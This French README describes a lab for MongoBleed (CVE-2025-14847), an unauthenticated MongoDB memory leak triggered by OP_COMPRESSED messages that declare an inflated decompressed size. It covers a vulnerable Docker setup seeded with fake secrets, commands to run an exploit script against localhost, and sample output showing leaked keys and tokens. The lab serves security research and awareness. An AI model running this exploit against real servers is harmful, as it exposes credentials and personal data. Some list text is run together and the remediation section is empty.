
MongoBleed (CVE-2025-14847) Lab & PoC : Un environnement éducatif complet pour reproduire la fuite de mémoire critique non authentifiée dans MongoDB. Comprend un conteneur Docker vulnérable avec amorçage multi-bases de données (PII, clés API) et un exploit Python pour démontrer l'extraction de données. Idéal pour la recherche en sécurité et la sensibilisation. Analyse 1 jour.
Ce laboratoire est conçu pour reproduire et analyser MongoBleed (CVE-2025-14847), une vulnérabilité critique dans MongoDB. Cette faille permet à des attaquants non authentifiés de lire des données sensibles depuis la mémoire du serveur en raison d'une gestion incorrecte des messages compressés.
L'environnement comprend une instance MongoDB vulnérable remplie de données sensibles factices (PII, clés API, enregistrements financiers) pour démontrer la gravité de la fuite.
ID CVE : CVE-2025-14847
Nom : MongoBleed
Composant : Wire Protocol (OP_COMPRESSED)
Versions vulnérables : MongoDB 6.0.x < 6.0.27, 7.0.x < 7.0.28, 8.0.x < 8.0.17 (et autres)
URL : Cliquez dessus -> NVD CVE-2025-14847
La vulnérabilité réside dans la manière dont MongoDB gère les messages OP_COMPRESSED utilisant l'algorithme de compression zlib.
uncompressed_size dans l'en-tête est intentionnellement défini à une valeur bien supérieure à la taille réelle des données décompressées.uncompressed_size gonflée.zlib écrit la charge utile réelle (petite) au début de ce tampon. Le reste du tampon reste non initialisé, contenant des données résiduelles d'opérations précédentes (artefacts RAM).Le laboratoire se compose de :
admin / secretpassword).init-mongo.js) qui remplit 3 bases de données distinctes pour simuler un environnement SaaS d'infrastructure cloud réel :
compute_instances : Métadonnées sensibles (scripts User Data, clés API).deployment_secrets : Cibles de grande valeur (jetons K8s, clés CI/CD, webhooks Slack).users : Identifiants utilisateur, hachages de mots de passe (Argon2) et codes de secours MFA (divulgués en texte clair).query_logs : Contient des requêtes historiques, certaines incluant des identifiants divulgués (par exemple, clés AWS).exploit.py) implémentant l'attaque par protocole rétro-conçue.Lancez le conteneur vulnérable. Cela créera automatiquement les bases de données et les remplira avec des données.
docker-compose up -d
Attendez environ 10 à 15 secondes pour que la base de données s'initialise et charge les données.
Remarque : Si vous avez déjà exécuté ce laboratoire auparavant, assurez-vous de réinitialiser le volume pour charger la dernière structure de données :
docker-compose down -v
docker-compose up -d
Vous pouvez installer les dépendances requises en utilisant pip avec le fichier requirements.txt legacy ou le fichier moderne pyproject.toml.
Option A : Utilisation de requirements.txt (Standard)
pip install -r requirements.txt
Option B : Utilisation de pyproject.toml (Moderne) Cela installera le projet et ses dépendances dans l'environnement actuel.
pip install .
Nous avons fourni un script de vérification pour s'assurer que la base de données est joignable et que les données ont été correctement insérées.
python verify_lab.py
Ce script utilise les identifiants admin pour vérifier l'existence de bases de données comme sensitive_db, legacy_crm, etc.
Exécutez le script Python pour attaquer le serveur. Aucun identifiant n'est requis pour cette étape, démontrant la nature non authentifiée de la vulnérabilité.
python exploit.py --host localhost --port 27017 --min 100 --max 5000
Le script effectue les étapes suivantes :
OP_COMPRESSED avec une taille gonflée falsifiée.Sortie attendue : Vous devriez voir une sortie indiquant des fuites trouvées à différents offsets, suivie d'un résumé des secrets détectés.
[*] MongoBleed Exploit (Custom Implementation)
[*] Target: localhost:27017
[*] Scanning memory offsets 100 to 5000...
[+] Offset 120 | ... dbmongotesting ... compute_instances ...
[+] Offset 145 | ... field name 'AKIAIOSFODNN7EXAMPLE' is not valid ... [!] FOUND AKIA
[+] Offset 210 | ... "token": "eyJhbGciOiJSUzI1NiIsImtpZCI6Ik16UTBOVFZ... [!] FOUND token
[*] Scan completed in 12.45s
[*] Total bytes leaked: 4502
[*] Unique fragments: 156
[*] Secrets Summary:
[!] Found pattern: AKIA
[!] Found pattern: token
[!] Found pattern: password
Pour corriger cette vulnérabilité dans les environnements de production :